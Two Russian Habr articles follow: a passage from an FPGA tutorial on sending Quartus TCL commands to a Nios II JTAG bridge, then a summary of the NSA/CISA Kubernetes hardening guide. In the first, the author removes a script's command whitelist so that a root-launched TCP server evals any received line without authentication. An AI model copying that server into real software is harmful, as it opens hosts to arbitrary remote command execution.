Собственно, для сегодняшней аппаратуры — это всё. Генерим систему, назначаем ножку **clk** (другие ножки мы сегодня не используем). Напоминаю, что ножку **reset** я делаю виртуальной (Virtual Pin), методика описана в [этой статье](https://habr.com/ru/post/452656/) (искать по фразе Virtual Pin). В результате, должно получиться:
Собираем, заливаем в ПЛИС… Приступаем к экспериментам.
Программирование через TCL-скрипты
----------------------------------
Дальше все учебники, рассказывающие про работу с блоком **Altera JTAG-to-Avalon-MM**, говорят, что работу надо вести с помощью TCL-скриптов. Перед тем, как бросаться в бездну непознанного, лучше набить руку на хорошо документированном, поэтому мы не будем исключением и начнём эксперименты тоже с них. Про то, что такое TCL, есть много статей на Хабре. Дам ссылку на одну из них, так как она связана с ПЛИС: <https://habr.com/ru/post/308962/>. На сайте Intel FPGA (бывшем сайте Альтеры) есть целый онлайн-курс для работы с этим языком. Чтобы научиться подавать команды на нём, в среде разработки можно запустить System Console:
В результате, откроется шикарная среда.
В ней можно творить чудеса, вплоть до разработки GUI-приложений. Но в рамках статьи мы коснёмся этого дела лишь поверхностно (почему – объясню чуть ниже). Мы просто попробуем подать пару команд. Каких команд? Для этого надо найти и скачать документ **Analyzing and Debugging Designs with System Console** (как всегда, я даю имена, но не ссылки, так как ссылки вечно меняются).
Мы попробуем поэкспериментировать с командами из этой группы документа:
Для начала осмотримся в выданных нам сообщениях. Так как я загрузил «прошивку» удалённо, система сама нашла удалённый JTAG-сервер:
Команды будем подавать вот в это окно:
Для начала попробуем записать в память константу. Для этого надо бы подать команду:
```
master_write_32
```
но беда в том, что первый её аргумент —
Поэтому перед подачей полезной команды, надо сначала научиться этот **service\_path** получать. Ищем соответствующий участок в документации:
Прекрасно! Пробуем подать соответствующую команду, пользуясь примером из документа.
```
% get_service_paths master
/devices/10CL006(Y|Z)|10CL010(Y|Z)|..@1#1-5.4.2.1#192.168.10.146/(link)/JTAG/alt_sld_fab_sldfabric.node_0/phy_0/master_0.master
%
```
Как-то это сложно вводить вручную. Вариант:
```
% lindex [get_service_paths master] 0
/devices/10CL006(Y|Z)|10CL010(Y|Z)| ..@1#1-5.4.2.1#192.168.10.146/(link)/JTAG/alt_sld_fab_sldfabric.node_0/phy_0/master_0.master
%
```
Ничуть не лучше. Он был бы полезен, только если бы устройств было несколько.
Хорошо. Попробуем полный вариант примера из документа:
```
% set m_path [lindex [get_service_paths master] 0]
/devices/10CL006(Y|Z)|10CL010(Y|Z)|..@1#..@1#1-5.4.2.1#192.168.10.146/(link)/JTAG/alt_sld_fab_sldfabric.node_0/phy_0/master_0.master
%
```
И теперь – пробуем запись:
```
% master_write_32 $m_path 0x0 0x01234567
error: master_write_32: /devices/10CL006(Y|Z)|10CL010(Y|Z)|..@1#..@1#1-5.4.2.1#192.168.10.146/(link)/JTAG/alt_sld_fab_sldfabric.node_0/phy_0/master_0.master is not an open master service
while executing
"master_write_32 $m_path 0x0 0x01234567"
%
```
Продолжаем штудировать инструкцию…
```
% open_service master $m_path
%
```
Теперь-то получится?
```
% master_write_32 $m_path 0x0 0x01234567
% master_write_32 $m_path 0x4 0x89abcdef
%
```
Сообщений об ошибках нет. Пробуем читать:
```
% master_read_32 $m_path 0x0 0x2
0x01234567 0x89abcdef
%
```
Работает! Мы научились писать и читать память. Регистры устройств также проецируются на неё, поэтому в будущем мы сможем управлять и устройствами.
> **Итого, правильная последовательность действий выглядит так:
>
>
>
> set m\_path [lindex [get\_service\_paths master] 0]
>
> open\_service master $m\_path
>
> master\_write\_32 $m\_path 0x0 0x01234567
>
> master\_write\_32 $m\_path 0x4 0x89abcdef
>
> master\_read\_32 $m\_path 0x0 0x2**
Кому интересны возможности System Console и языка TCL, могут изучить описания, примеры и видеоматериалы, которых в сети достаточно много, а в рамках данной статьи, я перехожу к тому, чего лично мне найти в сети не удалось…
Отходим от языка TCL в сторону C++
----------------------------------
TCL – достаточно мощный язык. Его всегда полезно изучить, особенно если вы планируете плотно работать с ПЛИС. В целом, свободное владение ещё одним мощным языком программирования – это большой плюс для разработчика. Но это – в целом. А в частности – необходимость владения ещё одним языком идёт вразрез с принципами, которые были сформулированы [в этой статье](https://habr.com/ru/post/483724/). Мы считаем, что комплекс Redd – вспомогательный комплекс, которым должны легко владеть системные разработчики на языках широкого профиля. То есть, владение дополнительным языком всегда приветствуется, но не должно быть обязательным условием.
Поэтому я решил найти, как же можно работать с JTAG-мостом из старых добрых C/C++. Возможно, я слепой, однако, потратив уйму времени на упражнения с составлением поисковых запросов, я ничего путного не добился. Самое интересное, что многие запросы выдавали среди первых ссылку на мою же [статью про весёлую квартусель](https://habr.com/ru/post/464795/), но там показано, как System Console вызывается из программы на Java, причём файл скрипта должен быть создан заранее, что явно будет ещё больше портить быстродействие, и без того не очень высокое из-за последовательного канала JTAG и небыстрого адаптера. Тем не менее, кто работает на Java, может освежить ту статью в памяти и принять методы на вооружение.
Не найдя ничего, я решил воспользоваться принципом, показанным в [одной из моих статей из цикла про PSoC](https://habr.com/ru/post/449960/). Суть подхода проста: если нет документации – изучаем то, что идёт в комплекте поставки. А в комплекте с Квартусом идёт масса TCL-скриптов. Именно изучая их, я проникся мощью языка. Но с другой стороны, проникся мыслью, сколько времени уйдёт на его освоение. Да, сейчас работы не так много, но, во-первых, она всё равно есть, а во-вторых, когда вы читаете эти строки, я очень надеюсь, что мир уже вернулся к скоростной жизни.
В конце концов, я нашёл очень интересный файл: **C:\intelFPGA\_lite\17.1\quartus\bin64\tcl\_server.tcl**
Судя по его содержимому, он создаёт сервер, через который можно вызывать функции, к которым мы уже обращались. То есть мы вполне можем написать своего клиента, который подключится по сети и начнёт подавать команды… Этот клиент может быть написан на моём любимом C++. То есть, вопрос будет решён. Поэтому приступаем к анализу данного файла.
Эксперименты с файлом tcl\_server.tcl на локальной машине
---------------------------------------------------------
Продолжаем идти от хорошо документированного к скрытой впотьмах цели. Пробуем изучать всё из Windows (на моей домашней машине), правда, уже будучи подключённым к удалённому JTAG-серверу (на комплексе Redd в офисе).
Сначала следствие пошло по ложному пути. В файле есть вот такая интересная конструкция:
```
if { [info exists env(QUARTUS_ENABLE_TCL_SERVER)] } {
if { $env(QUARTUS_ENABLE_TCL_SERVER) == 1 } {
_q_setup_server $_q_port
}
}
```
Само собой, я вбил слово **QUARTUS\_ENABLE\_TCL\_SERVER** в поисковик. Результатов было не так много. Всего два. Из них только один путный: <https://www.intel.com/content/www/us/en/programmable/quartushelp/13.0/mergedProjects/eda/synthesis/synplicity/eda_pro_synplty_setup.htm>.
Обрадованный, я создал соответствующую переменную окружения, но команда **netstat –a** показала, что на порту 2589 не появилось никакого сервера.
Хорошо. Тогда я попробовал запустить этот скрипт целиком через System Console, воспользовавшись данным пунктом меню:
И получил ошибку:
Я – человек простой. Не найдя на своей машине описания этого безобразия (но найдя его на github и заподозрив, что перед нами простой вывод сообщения), я сделал файл-копию скрипта и удалил соответствующую строку:
Попутно убрал описанную ранее проверку на наличие переменной окружения **QUARTUS\_ENABLE\_TCL\_SERVER**, раз всё равно скрипт нам предстоит запускать вручную.
После чего скрипт запустился, в системе появился слушающий порт 2589. К нему можно подключиться через Telnet. Ещё раз напоминаю, что в данный момент я веду эксперименты на домашней машине под Windows. На удалённую машину мы перейдём чуть позже. Итак, подключаемся:
Получаем пустое окно терминала. Стукнув пару раз по клавише , видим, что нас слышат, но не понимают:
Запросим помощи.
```
help
1 couldn't find help for command . Try help help.
```
Уже лучше. Уточняем запрос.
Покажу только фрагмент ответа:
```
help help
<…>
get_service_paths
get_service_types
get_services_to_add
get_version
<…>
master_read_16
master_read_32
master_read_8
master_read_memory
master_read_to_file
master_write_16
master_write_32
master_write_8
```
Знакомые слова! Ну-ка, попробуем ввести уже известную нам строку:
```
get_service_paths master
1 Error: Invalid command
```
Простите! Но нам же только что разрешили подавать команду **get\_service\_paths**!
Проверяем скрипт на наличие строки **Invalid command**. И она там обнаружена!
Примерно в середине вот такой конструкции:
```
set ecmd [lindex $line 0]
if { $ecmd != "project" && $ecmd != "device" &&
$ecmd != "cmp" && $ecmd != "sim" && $ecmd != "show_main_window"
&& $ecmd != "hide_main_window" && $ecmd != "get_version"
&& $ecmd != "help" && $ecmd != "convert"
&& $ecmd != "import_assignments_from_maxplus2" } {
set res "Error: Invalid command";
} elseif [catch { set res [eval $line] } result] {
set res "Error: $result";
}
if { $res == "" } {
set res " "
}
```
Получается, что этот скрипт обрабатывает только небольшое количество команд из терминала. На самом деле, это очень полезная проверка. В будущем мы сможем именно в этом месте сделать обработку скриптовых команд. По мере освоения языка TCL мы сможем всё больше и больше кода выносить на уровень скрипта, а от внешней программы только вызывать его (это явно будет быстрее, чем все строки гнать через сеть). Ну, а те команды, которые не распознаны, по-прежнему просто бросать в интерпретатор напрямую. В идеале, мы потихоньку изучим TCL и постепенно перейдём полностью на него. Если получится.
Пока же остановим исполнение скрипта (закрыв System Console) и заменим указанный участок на такой:
```
set ecmd [lindex $line 0]
if [catch { set res [eval $line] } result] {
set res "Error: $result";
}
if { $res == "" } {
set res " "
}
```
Запускаем скрипт на исполнение, подключаемся, пробуем прогнать нашу эталонную последовательность команд:
```
set m_path [lindex [get_service_paths master] 0]
1 /devices/10CL006(Y|Z)|10CL010(Y|Z)|..@1#..@1#1-5.4.2.1#192.168.10.146/(link)/JTAG/alt_sld_fab_sldfabric.node_0/phy_0/master_0.master
open_service master $m_path
1 Error: can't read "m_path": no such variable
```
Переменные, сделанные нами, забываются. С одной стороны, отвратительно. Но с другой – мы же собираемся подавать строки программно, поэтому упаковать имя в аргумент не так проблематично. Пробуем подать развёрнутую команду, где будет использоваться не переменная, а её значение.
```
open_service master /devices/10CL006(Y|Z)|10CL010(Y|Z)|..@1#..@1#1-5.4.2.1#192.168.10.146/(link)/JTAG/alt_sld_fab_sldfabric.node_0/phy_0/master_0.master
```
Получили результат 1. Отлично! Продолжаем опыты!
```
master_write_32 /devices/10CL006(Y|Z)|10CL010(Y|Z)|..@1#..@1#1-5.4.2.1#192.168.10.146/(link)/JTAG/alt_sld_fab_sldfabric.node_0/phy_0/master_0.master 0x0 0x01234567
master_write_32 /devices/10CL006(Y|Z)|10CL010(Y|Z)|..@1#..@1#1-5.4.2.1#192.168.10.146/(link)/JTAG/alt_sld_fab_sldfabric.node_0/phy_0/master_0.master 0x4 0x89abcdef
master_read_32 /devices/10CL006(Y|Z)|10CL010(Y|Z)|..@1#..@1#1-5.4.2.1#192.168.10.146/(link)/JTAG/alt_sld_fab_sldfabric.node_0/phy_0/master_0.master 0x0 0x2
```
Получаем ответ:
```
1 0x01234567 0x89abcdef
```
1 – это результат исполнения функции. Дальше идут считанные данные. То есть доступ через сеть у нас не идеальный, но имеется!
Эксперименты с файлом tcl\_server.tcl на удалённой машине
---------------------------------------------------------
В целом, мы уже можем запустить программу и начинать работать с процессорной системой, но к медлительности аппаратуры JTAG у нас добавляется медлительность сети. Само собой, лучше запускать рабочую программу на удалённой машине, чтобы она там работала с адресом localhost. Так будет явно быстрее. И именно тогда исполнение будет идти на центральном процессоре комплекса Redd, что было изначально и запланировано.
Какой файл запускать? Перерыв некоторое количество документации, выясняем, что **quartus\_sh**. Хорошо. Пока не будем развлекаться со скриптами, а, как и в Windows, попробуем подать команды в интерактивном режиме. Забегая вперёд, скажу, что будет весело…
Итак, даём команду:
```
user@redd:~$ sudo /opt/intelFPGA/18.1/qprogrammer/bin/quartus_sh -s
```
Нам предлагают подавать tcl-строки:
Но наши любимые команды приводят к ошибке:
```
tcl> get_service_paths master
invalid command name "get_service_paths"
```
Оказывается, надо подгрузить недостающую библиотеку, подав две команды:
```
load_package systemconsole
initialize_systemconsole
```
Правда, следующая уже привычная нам команда даст ошибку даже с библиотеками:
Ох и долго я искал причину! Перерыл все библиотеки, перерыл море статей на поисковиках, нет такой команды. Но другие – есть. Но они не работают. Но хотя бы есть. Случайно нашёл неприметный документ с решением. Оказывается, нам нужна команда **claim\_path**. Ещё и ещё раз привет кроссплатформенности.
Вот такая последовательность приведёт нас к успеху:
> set m\_path [lindex [get\_service\_paths master] 0]
>
> set claim\_path [claim\_service master $m\_path mylib]
>
> master\_write\_32 $claim\_path 0x0 0x01234567
>
> master\_write\_32 $claim\_path 0x4 0x89abcdef
>
> master\_read\_32 $claim\_path 0x0 0x2
Проверяем через Telnet
----------------------
В интерактивном режиме всё работает, проверяем работу через скрипт, создающий сервер. Добавляем в него недостающие строки (те самые две строки, подгружающие библиотеку) и запускаем:
**user@redd:~$ sudo /opt/intelFPGA/18.1/qprogrammer/bin/quartus\_sh -t tcl\_server1.tcl**
Он вылетает. Слушающий сокет не появляется. Оказывается, надо добавить строчку, которая не даёт выйти из функции открытия сервера:
**То же самое текстом:**
```
proc _q_setup_server {port} {
global _q_lsock;
if [catch { set _q_lsock [socket -server _q_accept $port] } emsg] {
}
vwait forever
return;
}
```
Запускаем правильный скрипт и пробуем подключиться к получившемуся серверу через Telnet:
Подаём такие команды (команды выделены жирным, ответы – обычным текстом, как и в случае с Windows, вместо переменных подставляем фразы из предыдущих ответов):
**lindex [get\_service\_paths master]**
1 {/devices/10CL006(Y|Z)|10CL010(Y|Z)|..@1#1-5.4.2.1/(link)/JTAG/(110:132 v1 #0)/phy\_0/master}
**claim\_service master {/devices/10CL006(Y|Z)|10CL010(Y|Z)|..@1#1-5.4.2.1/(link)/JTAG/(110:132 v1 #0)/phy\_0/master} mylib**
1 /channels/remote1/mylib/master\_1
**master\_write\_32 /channels/remote1/mylib/master\_1 0x0 0x01234567**
1
**master\_write\_32 /channels/remote1/mylib/master\_1 0x4 0x89abcdef**
1
**master\_read\_32 /channels/remote1/mylib/master\_1 0x0 0x2**
1 0x01234567 0x89abcdef
Всё работает!
А потом пришёл лесник и всех разогнал… Или не всех?
---------------------------------------------------
Пока я работал над статьёй, мне удалось найти интересную методику, не требующую написания скрипта, обеспечивающего доступ через сеть. В языке Си имеется функция **popen** (в Windows — **\_popen**). Она позволяет открыть из консольной программы дочерний процесс, захватив его поток ввода или вывода. В итоге, в Windows можно открыть системную консоль со следующими аргументами:
**C:\intelFPGA\_lite\17.1\quartus\sopc\_builder\bin\system-console.exe --disable\_readline –cli**
И можно подавать команды безо всякой сети. Но беда в том, что я не нашёл, как посылать команды и принимать ответы одновременно. Аргумент функции **\_popen** может быть только **r** или **w**, но никак не оба сразу. Есть методика, специфичная для Windows, но она будет далеко не кроссплатформенна. Можно, как в статье с Квартуселью, скрипты подавать в качестве аргумента программы **system-console**, а ответ принимать в виде потока, но каждый запуск будет очень не быстрым…
В Линуксе инициализация функций системной консоли тоже неспешная, так что лучше её делать единожды. Вроде, Гугль говорит, что в Linux у функции **popen** допустим аргумент «r+», открывающий двунаправленный канал,. Тогда мы сможем открыть **quartus\_sh** и общаться с ним, но я в Linux не очень силён, а Гугль находит ссылки на форумы, где лежит не решение, а жаркие споры на тему, во всех ли сборках это возможно.
Поэтому приводить программу я сегодня не буду. Реализация функций Telnet может оказаться ненужной, а как сделать идеальную программу, перехватывающую оба потока, я пока не знаю. Если кто-то приведёт в комментариях готовые решения, я буду благодарен. В первую очередь – под Debian, чтобы не гонять большие потоки данных по сети. Пока же – ограничимся работающей концепцией.
Заключение
----------
Мы познакомились с методикой разработки процессорных систем на базе Nios II, не содержащих непосредственно процессорное ядро. Такие системы не могут быть рекомендованы, как универсальные, так как их быстродействие оставляет желать лучшего, но в ряде случаев быстродействие управляющего ядра не является важным фактором. Зато достигаемая экономия внутреннего ОЗУ ПЛИС в таких системах выходит на первый план. Именно для них и рекомендуется описанная методика.
Классический подход к программированию таких систем – TCL-скрипты, но в рамках концепции комплекса Redd был разработан и описан в статье подход для программирования на языке C++.
Исходный скрипт tcl\_server.tcl из комплекта поставки среды Quartus версии 17.1 Lite можно скачать [здесь](https://yadi.sk/d/PyIMDFcrG7sm7Q). Вариант, получившийся после правки – [здесь](https://yadi.sk/d/i1G1bewStzyU9Q). Пример проекта для ПЛИС можно взять [здесь](https://yadi.sk/d/EwtflVvrYHSgBw). | https://habr.com/ru/post/496508/ | null | ru | null |
# NSA k8s security: Агентство национальной безопасности раскрывает секреты Kubernetes
N.B.
----
* Если желаете перейти сразу к делу, то пропускайте эту главу и переходите сразу к разбору (Руководство по безопасности Kubernetes от NSA),
* Если хотите узнать в двух словах о чем доклад, читайте ниже:
дисклеймерДоклад призван улучшить безопасности Kubernetes за счет использования лучших практик и некоторых подходов призванных уменьшить радиус атаки, последствия в случая нарушения периметра. В отчете упор сделан на
* Сканирование контейнеров на уязвимости
* Уменьшение привилегий везде, где это возможно
* Сетевое разделение
* Использование всевозможных сетевых ограничений (Firewalls, etc..)
* Использование более строгих правил аутентификации
* Использование журналов аудита, логов для поиска проникновений
Введение
--------
NSA в соавторстве с еще несколькими организациями подготовила [доклад](https://media.defense.gov/2021/Aug/03/2002820425/-1/-1/0/CTR_Kubernetes_Hardening_Guidance_1.1_20220315.PDF) (Kubernetes Hardening Guide) на 59 страниц на тему: Гайд по улучшению безопасности в Kubernetes.
Доклад подготовлен в соавторстве с:
* National Security Agency (NSA)
* Cybersecurity Directorate
* Endpoint Security
* Cybersecurity and Infrastructure Security Agency (CISA)
Интересный момент, в марте 2022 года NSA [обновило](https://www.nsa.gov/Press-Room/News-Highlights/Article/Article/2716980/nsa-cisa-release-kubernetes-hardening-guidance/) (первая версия этого гайды была опубликована в 3 августа 2021 и даже в блоге k8s имеется [обзор на этот](https://kubernetes.io/blog/2021/10/05/nsa-cisa-kubernetes-hardening-guidance/) доклад) этот гайд основываясь на фидбеке партнеров и комьюнити.
Сегодня мы с вами разберем основные моменты обновленной версии этого гида в мир безопасности Kubernetes.
### Почему это может быть важно ?
Экосистема Kubernetes под капотом содержит множество технологий, плагинов, инструментов. Чем больше звеньев в цепи, тем больше шансов на разрыв, то же относится и к безопасности. Этот доклад призван уменьшить вероятность уязвимости
Кроме того k8s старается иметь модульную структуру и для полноценной работы ванильного k8s недостаточно. Необходимо добавлять различные ingress, metrics, logging, etc… Как следствия потенциальная поверхность атаки увеличивается. Поэтому важно закрывать уже известные проблемы или потенциально известные вопросы поверхности атаки.
Ванильный kubernetes### Почему это может быть интересно ?
Это все конечно важно, но почему именно эта заметка может быть мне интересно ?
1. Потому, что этот доклад опубликовала всемирно известная организация в области безопасности.
Не знаю как у вас, но лично у меня ранее ассоциировалась исключительно со шпионскими фильмами.
2. Доклад содержит действительно дельные советы, про некоторые моменты я узнал впервые.
3. Это не одностороннее мнение NSA о безопасности, этот доклад был написан в соавторстве с другими организациями. Кроме того авторы доклада прислушиваются к мнениям других экспертов (много ли где подобные госструктуры прислушиваются к комьюнити?) из этой области и добавляют изменения в свой доклад.
### Немного про NSA
> Из wiki:
> [NSA Cybersecurity](https://www.nsa.gov/) (Агентство Национальной Безопасности USA) - подразделение [Министерства обороны США](https://ru.wikipedia.org/wiki/%D0%9C%D0%B8%D0%BD%D0%B8%D1%81%D1%82%D0%B5%D1%80%D1%81%D1%82%D0%B2%D0%BE_%D0%BE%D0%B1%D0%BE%D1%80%D0%BE%D0%BD%D1%8B_%D0%A1%D0%A8%D0%90), входящее в состав [Разведывательного сообщества США](https://ru.wikipedia.org/wiki/%D0%A0%D0%B0%D0%B7%D0%B2%D0%B5%D0%B4%D1%8B%D0%B2%D0%B0%D1%82%D0%B5%D0%BB%D1%8C%D0%BD%D0%BE%D0%B5_%D1%81%D0%BE%D0%BE%D0%B1%D1%89%D0%B5%D1%81%D1%82%D0%B2%D0%BE_%D0%A1%D0%A8%D0%90) на правах независимого разведывательного органа, занимается [радиоэлектронной](https://ru.wikipedia.org/wiki/%D0%A0%D0%B0%D0%B4%D0%B8%D0%BE%D1%8D%D0%BB%D0%B5%D0%BA%D1%82%D1%80%D0%BE%D0%BD%D0%BD%D0%B0%D1%8F_%D1%80%D0%B0%D0%B7%D0%B2%D0%B5%D0%B4%D0%BA%D0%B0), научной и технической разведкой, [киберразведкой](https://ru.wikipedia.org/wiki/%D0%9A%D0%B8%D0%B1%D0%B5%D1%80%D1%88%D0%BF%D0%B8%D0%BE%D0%BD%D0%B0%D0%B6), военной [контрразведкой](https://ru.wikipedia.org/wiki/%D0%9A%D0%BE%D0%BD%D1%82%D1%80%D1%80%D0%B0%D0%B7%D0%B2%D0%B5%D0%B4%D0%BA%D0%B0), защитой электронных коммуникационных сетей госучреждений [США](https://ru.wikipedia.org/wiki/%D0%A1%D0%BE%D0%B5%D0%B4%D0%B8%D0%BD%D1%91%D0%BD%D0%BD%D1%8B%D0%B5_%D0%A8%D1%82%D0%B0%D1%82%D1%8B_%D0%90%D0%BC%D0%B5%D1%80%D0%B8%D0%BA%D0%B8).
>
>
> Еще из интересного:
> По числу [военнослужащих](https://ru.wikipedia.org/wiki/%D0%92%D0%BE%D0%B5%D0%BD%D0%BD%D0%BE%D1%81%D0%BB%D1%83%D0%B6%D0%B0%D1%89%D0%B8%D0%B9) и [вольнонаёмных](https://ru.wikipedia.org/wiki/%D0%9D%D0%B0%D1%91%D0%BC%D0%BD%D1%8B%D0%B9_%D1%80%D0%B0%D0%B1%D0%BE%D1%82%D0%BD%D0%B8%D0%BA) сотрудников и по размеру бюджета является крупнейшим в США разведывательным ведомством.
>
>
Вы наверно удивитесь, но в госучреждениях США также используется оркестратор Kubernetes, поэтому имеет место вопрос безопасности Kuberenetes.
Давайте уже перейдем к делу и узнаем, что нам рекомендует NSA для достижения максимальной секьюрности в k8s.
Руководство по безопасности Kubernetes от NSA
---------------------------------------------
NSA Cybersecurity (Агентство Национальной Безопасности USA)Ниже кратко разберем некоторые общие аспекты рекомендаций. Вы всегда можете узнать все детали в оригинале [Kubernetes Hardening Guide](https://media.defense.gov/2021/Aug/03/2002820425/-1/-1/0/CTR_Kubernetes_Hardening_Guidance_1.1_20220315.PDF). Если все же будет запрос на то, чтобы разобрать более подробно этот доклад, то появятся последующие части.
Все руководство разделено на части ниже:
* Безопасность Pod’в.
* Разделение сети на сегменты и улучшение сетевых политик.
* Аутентификация/Авторизация.
**Аутентификация** - процесс подтверждения, что этот человек именно тот, за кого себя выдает.
**Авторизация** - процесс принятия решения о том, что именно этой аутентифицированной персоне разрешается делать.
* Аудит логов и обнаружение проблем на базе логов.
Кроме этого множество различных примеров и пояснений.
### Безопасность Pod’ов
В этом разделе никакого rocket scince как мне кажется, за исключением нескольких моментов про работу с токенами, на которую просто нечасто обращают внимания.
* [Non-root](https://kubernetes.io/docs/tasks/administer-cluster/kubelet-in-userns/): Не используйте юзера с супер-правами (root, etc ...) для работы внутри POD’а.
* [Immutable FS](https://docs.bridgecrew.io/docs/bc_k8s_21): Не предоставляйте дополнительную возможность изменять файловую систему внутри контейнера. Это полезно, когда кто-то уже проник в ваш контейнер и пытается добавить в ваш контейнер вредоносные инструменты.
[Building secure container images](https://snyk.io/blog/building-docker-images-kubernetes/): Знай, какие образы используешь в проде.
Если используешь образы построенные на других образах, обязательно сканируй на наличие уязвимостей корневых образов. Лучший вариант конечно использовать свои образы [from scratch](https://hub.docker.com/_/scratch#:~:text=FROM%20scratch,-This%20image%20is&text=You%20can%20use%20Docker's%20reserved,filesystem%20layer%20in%20your%20image.), тем самым максимально уменьшая радиус атаки.
Не стоит доверяться образам, даже если они очень популярны, так например в официальном образе nginx некоторое время назад был целый набор проблем: работе от root, и ряд других проблем на скрине ниже:
* `docker scan nginx`
+ Используйте подписи для образов, чтобы злоумышленник не смог подменить образ на свой.
* [Pod Security Admission](https://kubernetes.io/docs/concepts/security/pod-security-admission/): Используйте дополнительные политики безопасности, которые приходят на смену [PSP](https://kubernetes.io/docs/concepts/security/pod-security-policy/) (deprecated с версии 1.21, будет удален из ванильного k8s начиная с 1.25).
В [KEP](https://github.com/kubernetes/enhancements/tree/master/keps/sig-auth/2579-psp-replacement#motivation) перечислены основные причины, из-за которых пришлось отказаться от PodSecurityPolicy. Об этом также писали в [блоге Kubernetes](https://kubernetes.io/blog/2021/04/06/podsecuritypolicy-deprecation-past-present-and-future/).
* [Pod service account tokens](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/): Не всегда контейнерам нужен доступ до стандартного service account, который создается при первичной установке k8s. Суть такова, что стоит максимально ограничить зону работы SA(service account), которые должны выполнять различные задачи. Снова уменьшаем радиус атаки, уменьшаем количество прав.
* Container environments: Различные платформы предоставляют различные типы контейнеризации. Тут обращается внимание, что в большинстве своем контейнеризация не предоставляет должной изоляции как со стороны ресурсов, так и со стороны изоляции доступа, хотя существуют исключения. Знайте свой [Container Runtime](https://kubernetes.io/docs/setup/production-environment/container-runtimes/).
С POD’ми закончили, идем на следующий уровень абстракции.
### Разделение сети на сегменты и другие улучшения
Внутри кластера вся коммуникация осуществляются по сети, поэтому один из ключевых моментов, на который стоит обратить внимание.
По умолчанию ресурсы никак не ограничены и доступны между собой, так у любого POD’а есть доступ к любом секрету в любом namespace'е или к любой ноде.
Ключевые моменты касаются 3-х вещей:
* Используйте сетевые политики и брандмауэры для разделения и изоляции ресурсов.
* Защитите свою main (control plane) ноду от неавторизованного доступа.
* Шифруйте трафик внутри кластера, в особенности чувствительную информацию, такую как secrets. По умолчанию трафик внутри кластера не зашифрован.
#### Namespaces
Создавайте [ограничения сетевые политики](https://kubernetes.io/docs/tasks/administer-cluster/securing-a-cluster/) на базе namespac’ов. Сетевые политики для namespac’ов позволяют устанавливать правила коммуникации между namespac’ми, с детализацией до конкретных POD’ов.
#### Network policies
Каждый POD получает свой уникальный IP в рамках клаcтера. В Kubernetes имеется возможность настроить правила для получения различных пулов адресов для различных подов и на базе этого создавать дальнейшие политики.
Важно отметить, что различная функциональность зависит от [Container Network Interface](https://github.com/containernetworking/cni) (CNI).
#### Resource policies
Для каждого namespace можно определить значения для [LimitRanges, ResourceQuotas](https://kubernetes.io/docs/concepts/policy/limit-range/) и ограничения идентификатора процесса и другие.
#### Control plane
Если у вас не PaaS, то стоит подумать об обеспечении безопасности вашего командного пункта - control-plane.
1. Настройте шифрование TLS.
2. Настройте надежные методы аутентификации.
3. Отключите доступ к Интернету (или ограничьте) и ненужным или ненадежным сетям.
4. Используйте политики RBAC для ограничения доступа.
5. Защитите хранилище данных etcd с помощью политик аутентификации и RBAC.
6. Защитите файлы kubeconfig от неконтролируемых изменений.
#### ETCD
Это сердце вашего Kubernetes кластера, а так же единый источник правды. Поэтому позаботьтесь о достаточности дисковых ресурсов (медленные диски будут влиять на весь кластер, т.к. Пока все ноды etcd не синхронизируются, задача дальше в работу не пойдет) и сетевых ресурсов(по той же причине).
Etcd может быть запущен на отдельной ноде, что позволяет брандмауэру ограничивать доступ только к API системам k8s.
#### Kubeconfig Files
Файлы kubeconfig содержат конфиденциальную информацию о кластерах, пользователях, пространствах имен(namespaces) и механизмах аутентификации. Поэтому стоит защитить эти файлы от изменений и предоставить доступ только необходимым сервисам.
#### Worker node
Ноды могут быть как виртуальные, так и на железе. Администратор должен иметь возможность быстро вывести ноду из строя или добавить новую, без критического влияния на весь кластер. В частности по средствам сетевых ограничений.
#### Encryption
Рекомендуется шифровать весь трафик внутри кластера, использовать версию TLS 1.2 или TLS 1.3. В более низких версиях имеются критические уязвимости.
#### Secrets
По умолчанию секреты хранятся в виде незашифрованных данных в кодировке base64 и могут быть извлечены любым пользователем, имеющим доступ к API или к etcd. Поэтому очень важно ограничивать доступ к API, использовать дополнительные инструменты для шифрования чувствительных данных, коих более чем достаточно.
### Аутентификация/Авторизация
#### Authentication
Kubernetes имеет два типа пользователей:
* Учетные записи служб (Service Accounts).
* Обычные учетные записи пользователей (Users).
Service Accounts обрабатывают запросы API от имени модулей. Аутентификация обычно автоматически управляется Kubernetes через ServiceAccount Admission Controller, это работает на базе токенов.
Для обычных юзеров k8s из коробки ничего не может предложить для аутентификации, поэтому стоит переложить эту работу на плечи 3-rd party сервисов.
#### Role-based access control
RBAC в ванильном Kubernetes работает из коробки по умолчанию. Эта политика позволяет гранулировать доступ между различными ролями к конкретным ресурсам.
Стоит обратить внимание, что существует 2 типа разграничений:
* Roles - Определение правил доступа внутри одного namespace.
* ClusterRole - это разграничение не учитывает namespace’ы.
### Аудит логов и обнаружение проблем на базе логов
По умолчанию логи остаются на ноде, на которой был запланирован POD. Поэтому необходимо заранее позаботиться о сборе логов и агрегировании их в системе логирования. Эта задача так же должна лечь на 3-rd party решение, есть выбрать из чего.
Основные моменты, на которые необходимо обратить внимание:
* Ведите мониторинг работы кластера, это поможет вовремя анализировать проблемы производительности и находить bottlenecks (проблемные места)
* Ведите логирование на всех уровнях вашей инфрастурктуры (нода, pod, приложение и т.д.)
+ API request history (история доступа к API).
+ Performance metrics (Логирование производительности).
+ Etc ..
* Интегрируйте существующие средства сетевой безопасности для агрегированного сканирования, мониторинга, оповещений и анализа.
* Настройте fault-tolerant policies(политики отказоустойчивости), чтобы предотвратить потерю логов в случае проблем на ноде.
* Включите стандартные [политики аудита kuberneetes](https://kubernetes.io/docs/tasks/debug/debug-cluster/audit/). По умолчанию они отключены.
Эти политики помогут понять:
+ Что произошло?
+ Когда это произошло?
+ Etc ….
* Важно использовать систему оповещений, для того, чтобы вовремя получать информацию об обнаруженных проблемах в кластере
Конечно в руководстве больше деталей, которые стоит рассмотреть подробнее. В этой заметке умышленно не рассматриваются все рекомендации в деталях.
Дополнительно, что не вошло в NSA гайд
--------------------------------------
Существуют внешние утилиты по анализу вашего кластера. На один из таких крайне рекомендую обратить внимание, [CIS Benchmarking](https://www.cisecurity.org/benchmark/kubernetes) (The Center for Internet Security - CIS). На самом деле это только набор правил и политик, которые рекомендуется к использованию. Инженеры народ ленивый, но умный, поэтому уже есть готовые операторы, которые сканируют ваш кластер на предмет удовлетворения k8s политик созданных под крылом CIS.
